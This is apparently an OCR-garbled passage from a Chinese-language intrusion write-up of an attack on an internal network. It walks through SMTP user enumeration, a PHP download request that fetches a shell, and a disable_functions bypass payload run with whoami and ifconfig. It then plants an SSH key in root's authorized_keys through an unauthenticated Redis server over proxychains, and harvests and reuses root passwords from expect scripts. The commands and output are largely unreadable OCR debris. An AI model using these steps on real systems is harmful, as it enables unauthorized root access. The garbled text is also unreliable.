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$ smtp-user-enum -M RCPT -U 1 -t 95
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-us

Worker Processes ...
Usernames file ...
Target count
Username count
Target TCP port
Query timeout
Target domain

#egupes Scan started at Wed Aug 5 00:45:26 2020 #uunsnung
5: hr 1 exists
5: 1% om exists
: i exists
T owa om exists
j om exists
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format_param($value= »$int=0){
if($value== Y retur e

( J$value;
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($tmp_path)) {

ownload_fp);
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Pr htl HTTP/1.1 . WOEE

r-Agent: Mozilla/ Vindows NT 10.0; Wink4; x64; v.76.0) Gecko/20100101

K.=0.5,6n-US; 403 sniq=0.2 Catih-uUiilin. 1155018 evalidate
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action=start-download&filepath=shell&download_uri=http / shellishell



REIKINGE, *

POST THTTPA

Ho

User  wwwindows NT 10.0; Win4; x64; v76.0) Gecko/20100101 Firefox76.0
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Ac 11q=08.20-TW,q=0 7 2h-HK.q=0 5 en-US:g=03,enq=0.2
Act ip. deflate

Cor ation/s-www-form-urlencoded; charset=UTF-8
%Requested-With XMLHpRequest

Content- sngth: 32
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URL: E php
0 BHE, BREBRA sholl FBlEshalsss s

Directive Local Valu
llow_uri_fopen n
liow_uri ofr
rg_sepa &
rg_separator.output &
uto_append_fil
uto_globals_jit o
uto_prepend_fil
browscap
default_charset UTF-3
default_mimetype texthtmi
dis:
dis passthru exec system chroot charp.chown shell_exec,proc_open.proc_get status,popen,ini_alter ini_restore, dl,openlog,syslog readiink symlink popepassthru
display_errors on
display_startup_errors ofr

BEEME, WARBRRE, BMEsE—TREZA, H
B2 linux 2%fE, SHEF11%5T payload,

disable_function. T B T &bt :

https://github.com/yangyangwithgnu/bypass_disablefunc.
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Payload:http://xxx/dpl.php?cmd=whoami&outpath=/tmp/xxé
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RRIPPATH LT .

<« C O F=s /dp1.php?cmd =whoami&outpath=/tmp/xx&sopath=/www/ -

il ] 360 Inm BETFE
il http://site.com/bypass_disablefunc.php?cmd =pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.s0
emdline: whoami> / tmp / xx 2> &1
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example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

emdline: /sbin/ifconfig > /tmp/xx 2>&1

output
etho: flags=4163 mtu 1500
Inet 192.1¢ 4 netmask 255.255.255.0 broadcast 192.1 55

inet6 feBO:1&% . eff:fe33:3d8 prefixlen 64 scopeid 0x20
ether fa:16:3e:33:03:d8 txqueuelen 1000 (Ethernet)

RX packets 18793354 bytes 5602108934 (5.2 GiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 71367147 bytes 68181770243 (63.4 GlB)
TX errors 0 dropped 0 overruns 0 carrier O collisions 0
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Inet 127.0.0.1 netmask 255.0 D 0
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Mt MR SRRERIR, RIFSI R
%XpacketsSBSﬂG Vies 9 O?f BRI }EH’ AV SRS Ho
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 38561194 bytes 9226080308 (8.5 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
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P [192.10 T [ie21e B A Firms

i | NAME | mAr | TME | PORT | RISK. | os | STATE.
192.168. WEB 3 0 4SO TAFiERfE FEmE
192.168.1. pPC C 0 TIFTIRER ToEBE
192.168.11° PC o 0 FAFAERRE Windows 7 Ulimat... F3EHrE
192.168.11 PC 0o 0 TR TERE
192.168.11 PC 00- 0 TIEERRS FERE
192.168.1 WEB 00-C il TR TERE
192.168.1 DESKTOP-30FTSEP... 00-0 1 ) TIEERRS FERE
192.168. pPC 00-0¢ 7 i FAFTERB TEWE
192.168. pc 00-0C D v HASRHE FIFIERER TERE
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XEBE1#%H proxychains Ei%#% redis, AFTE. ssh X
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$ proxychains ./redis-cli -h 1
Proxychalns -3.1 (http://proxychains.sf.net)
|S-chainf-<>—47 ot AEnA8886—><>—1I¥2 ¥ 23:6379—<><>0K
19 :6379> config get dir
1) "dir"
2) "/root/.ssh"
18 .16379> config set dbfilename authorized_keys
|S-chainp-<>—4;. ~.18886—~><>—1i" 2:6379—<><>—0K

2708 ca+ tagt "ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABZQDfRyqOP
af/
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IEFCNKI'YPRWUCI\VI:ybﬂu&lllll\t‘l’}‘LII.)D.“n. rfaxi+8YG
VBN T DR 6050 2cha GRmg FXAZZKv2iMAXARYNORC L. ) ali”
0K
--6379> save

[root@localhost ~H 1s

anaconda-ks.cfg install.log.syslog test.trace.db
install.log test.mv.db

[root@localhost ~H whoami

root
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192, 168 SSH 22 root .@2020 11180
192, 168 SSH 22 root [@2020 11291

Fg et B % iwA RAE =H BANNER AR (=]
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3 192, 168 . ssH 22 root @020 11323

ARSSas LERRFAZRMEL, & 7L TR WAEE X H
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egrep expect /* -rl Igrep “.sh”: BFAEHE SexpectFEEMN

KEEED, CHARSTHRHKE, REREXH.
CPU FIBXREEEFE&MIIE, —HkfEBE) expect 4t
BREMNGS, JUSEREIFEU: ssh &%, ftp BR
EEE—THIAL, FZzEMNHRR, AKIRSRAREE
AR TERE, FILAAB T expect, BT BAEKE
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RERR
R BEFE >

BIAERMNSGSE LT TIXEHERIN TR+ TEEHE
XABH bash X,

~-]1# egrep expect /* -rl |grep "\.sh"

: /proc/sys/ts/binim_isc/register: ',i = ent
: /proc/sys/net/ipva/route/flush: Per deniec
: /proc/sys/net/ipv6/conf/all/stable_ secret Input/output e
: /proc/sys/net/ipv6/conf/default/stable_secret: Input/output e
1 /proc/sys/net/ipv6/conf/ethe/stable_secret: Input/output
5 /prgc/sys/met/lpvﬁ/conf/lo/stableisecret: Input/output e
/tmn/ohe-cgi-56.sock: No such device or address
.SN

sh.sh
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egrep expect /{root,home,opt,tmp}/* -rligrep ".sh"
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xpect {

"password:" {
send "dw
break;

¥

"yes/no) 7" {
set yesnoflag 1
send "yes\r"
break;

AR BBRERB TN, 5 EFHEBRBOSTIER
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EE e FE W =8 A
1 SSH 22 root 2020 677
2 SSH 22 oot #2020 541
3 SSH 22 w0t @2020 539
4 SSH 22 oot @2020 651
5 SSH 22 oot @2020 630
6 SSH 22 oot @2020 546
7 SSH 22 w0t @2020 631
8 SSH 22 oot «@2020 542
9 SSH 22 a0t @2020 637
10 SSH 22 oot @+2020 654
1 SSH 22 w0t 2020 619
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